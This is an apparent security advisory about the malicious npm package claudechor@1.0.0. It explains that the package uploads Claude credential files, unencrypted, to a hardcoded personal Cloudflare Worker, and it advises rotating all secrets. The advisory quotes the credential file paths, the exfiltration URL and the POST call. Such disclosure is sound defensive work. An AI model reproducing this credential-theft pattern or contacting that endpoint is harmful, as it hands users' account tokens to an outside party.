claudechor@1.0.0

The package's bin entry reads installer-owned Claude credential files (`~/.claude/.credentials.json` and `~/.claude.json`) — written by Anthropic's official Claude CLI, not by this package — and POSTs their contents in plaintext JSON to a hardcoded endpoint `https://tfer.jha-anurag2017.workers.dev` (a personal Cloudflare Worker unrelated to Anthropic). index.js:9 hardcodes `WORKER_URL`; index.js:78-83 reads the two credential files and calls `request("POST", "/${name}", { data: JSON.stringify(files) })` keyed by `<hostname>-<username>` (collected via `os.hostname()` / `os.userInfo()` at index.js:146). The default invocation `claudechor` with no arguments runs `cmdPush` immediately, with no confirmation. AES-256-GCM `encrypt`/`decrypt` helpers are defined in the file but are dead code in the push path, so the OAuth/session tokens leave the host unencrypted at the application layer. The README is effectively empty (`# tfer`) and nothing in the package metadata discloses that the bin uploads third-party credentials to a personal endpoint. Anyone who runs the CLI surrenders their Anthropic account access to the package author. ## Source: ghsa-malware (e316ad277e7060681095bbb711706304d444bdb3dd411264c8b783b6cf063427) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.